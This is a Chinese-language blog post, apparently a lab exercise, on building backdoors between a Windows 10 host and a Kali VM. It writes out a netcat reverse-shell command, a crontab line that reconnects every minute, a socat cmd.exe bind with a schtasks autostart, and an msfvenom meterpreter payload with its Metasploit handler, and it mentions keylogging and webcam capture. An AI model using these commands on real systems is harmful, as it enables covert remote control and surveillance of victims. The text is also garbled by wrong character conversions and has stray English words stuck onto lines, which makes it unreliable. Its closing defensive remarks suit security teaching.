後門原理與實踐

後門就是不通過正常認證流程而訪問系統的通道。後門的實現就像是有個間諜可以在咱們須要訪問系統時爲咱們開門,咱們每每但願後門有隱蔽性和自發性(能本身打開提供通道)。html

下面經過實際操做介紹幾個經常使用後門工具。linux

環境:win十、VMware、kaliweb

利用netcat獲取kali的shell

netcat最基本的功能是幫助咱們創建網絡鏈接(如圖1),在此基礎上還能夠與一些程序綁定以實現遠程控制的效果。shell

                            圖1windows

先從最簡單開始,把系統防火牆和殺軟關閉,而且後門手動下載到靶機上。在這樣的條件下實現如何利用netcat讓windows主機得到kali虛擬機的shell。安全

一般利用netcat實現後門有如下3個步驟:bash

  1.主機打開監聽網絡

  -> ncat.exe -l -p 端口號

  2.靶機反彈鏈接winsession

  $: nc 主機ip 監聽端口號 -e /bin/sh

  3.主機下得到一個linux shell,可運行任何指令,如lstcp

顯然這裏windows是主機,kali虛擬機是靶機。從上面步驟能夠看出,咱們須要端口號和主機ip,端口號能夠隨便取,在實際中每每取80(網頁端口)等端口以躲避防火牆的攔截,主機ip如果在局域網中的獨立機器直接用ipconfig裏的ip v4地址便可,但對虛擬機來講須要先確認使用的是哪一種虛擬網絡,ipconfig也會看見多了幾個以太網地址(見圖2),就是對應不一樣的VMware虛擬網絡的。若是是橋接能夠直接使用實際局域網中的地址,其餘兩種能夠在VMware/編輯/虛擬網絡編輯中看到ip段(見圖3),進而能夠肯定下來。具體有關VMware幾種網絡鏈接方式參見https://www.linuxidc.com/Linux/2016-09/135521.htm。

                      圖2

                        圖3

本身在nat模式下試着ping了三個地址,發現所有能通,可是用ncat時卻只有nat對應的以太網地址才能夠連通,不是很清楚緣由,若是有大神知道的但願可以指點。

肯定下ip以後咱們按照netcat的用法在命令行輸入輸入,當咱們能夠在win10 cmd下輸入時說明鏈接成功了,見圖4,已經成功獲取了shell。

              圖4

第一次嘗試成功了,咱們確定但願能長久地使用後門,那就設置讓他自啓。學過linux的確定能想到利用crontab來實現自啓,可是利用常規的crontab -e來編輯會直接打開vi等編輯器來操做,而這對在遠程操做的咱們來講結果是向圖5這樣的。

                                    圖5

能夠理解,由於咱們打開的是shell,其餘程序不必定向shell那麼規矩的返回結果給咱們的netcat,因此想辦法繞開用文本編輯器來修改crontab。因而想到了重定向>和echo來構造一個cron文件,而後利用「crontab 文件名」來啓用咱們的設置。

touch guocron
echo "* * * * * nc 192.168.201.1 1213 -e /bin/sh" > guocron
crontab guocron

結果如圖6,能夠看到已經成功設置每分鐘執行一次鏈接操做,意味着只要開機後基本就本身連上咱們的主機了。

                    圖6

 socat獲取win10 cmd

socat是一個功能強大的工具,在這裏咱們能夠把它當作強化版的nc。這裏利用它實現kali虛擬機獲取win10 cmd的控制。

  1.鏈接目標

  socat - tcp:192.168.201.1:80 
  這個命令等同於 nc 192.168.201.1 80。 socat裏面,必須有兩個流,因此第一個參數-表明標準的輸入輸出,第二個流鏈接到192.168.201.1的80端口。 

  2.反向鏈接

  socat tcp-listen:80 exec:cmd,pty,stderr

  這個命名把cmd綁定到端口80,同時把cmd的Stderr復位向到stdout。

有了這兩個基本操做就能夠作後門了,先win10綁定cmd打開監聽,而後在kali虛擬機中鏈接,結果如圖7所示。

              圖7

windows cmd設置計劃任務能夠利用schtasks命令設置,schtasks /create /sc minute /mo 1 /tn testtask /tr "cmd /c socat.exe tcp-listen:1213 exec:cmd.exe,pty,stderr"設置每一分鐘運行一次socat監聽的命令。更多細節詳見https://www.cnblogs.com/magic_evan/archive/2011/10/31/2230349.html。

Meterpreter的使用

只說本身經過此次實踐對Meterpreter的感覺,這工具太強大了,一旦連上後面,有各類各樣現場的工具給你來支配靶機,一句代碼就能夠錄你鍵盤,獲取你屏幕。從後門的生成到控制端一條龍。

大體流程是先利用meterpreter生成後門程序,進入msfconsole開啓監聽,想辦法在靶機上運行咱們的後門,msfconsole與靶機創建鏈接,爲所欲爲的對靶機進行控制。

接下來實踐用meterpreter對win10進行滲透。

生成後門exe,複製到win10上

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f exe > meter_backdoor.exe

-p後接payload表示選擇payload整合到exe上,LHOST和LPORT是監聽的ip和端口號,也就是咱們本身的機器,-f,format輸出格式,而後重定向到文件。

                                        圖8

而後經過netcat傳輸到win10電腦上,kali上輸入

ncat -l 1213 < 20151213_backdoor.exe

win10上輸入

nc 192.168.201.136 1213 > 20151213_backdoor.exe

而後win10系統上會收到這個exe文件,等kali監聽後再打開。

MSF打開監聽進程

shell下輸入msfconsole就能夠打開msf命令行,加載結束後輸入

msf > use exploit/multi/handler
msf > set LHOST 本機ip
msf > set LPORT 監聽端口
msf > show oprions #查看配置
msf > exploit #開始監聽

exploit開始後切到win10運行以前發送過去的exe,能夠在msfconsole看見有session創建了(如圖9),以後就能夠開始咱們想作的事了。

                  圖9(成功創建會話鏈接)

 

                       圖10(進程轉移)

用grep過濾ps -a出來的進程,找到explorer這種穩定進程轉移過去。

                      圖11(判斷是否爲虛擬機)

不知爲什麼有時運行這些腳本時會出錯,沒能找到緣由,但願能有大牛指教。

最後上傳一張利用webcam_snap拍取的照片。

                    圖12

體會

第一次作這方面的東西,過程可謂十分艱辛,由於總有意想不到的錯誤出現。可是當成功創建session的那一刻感受全部付出都是值得的。

同時也深感網絡環境的不安全,如果一臺沒有殺軟,用盜版系統的機子隨隨便便都會讓人給入侵了,不事後門究竟是須要有個間諜也就是那個exe來開啓,因此不亂下東西,不亂點程序是能夠極大下降本身被人入侵的機率。

做爲入侵者就是想各類辦法騙取別人點擊本身的文件了,經過包裝把本身的exe放在釣魚網站上等着人下載運行(多數),或者是利用某些系統漏洞強行滲透(較少)。一旦第一次被入侵,這些程序每每就以計劃任務或者服務等方式自啓動。

也是利用這點,咱們能夠在開機啓動項和服務裏面找一些比較不正常的程序,經過審計觀察它是否有後門的嫌疑。

相關文章
相關標籤/搜索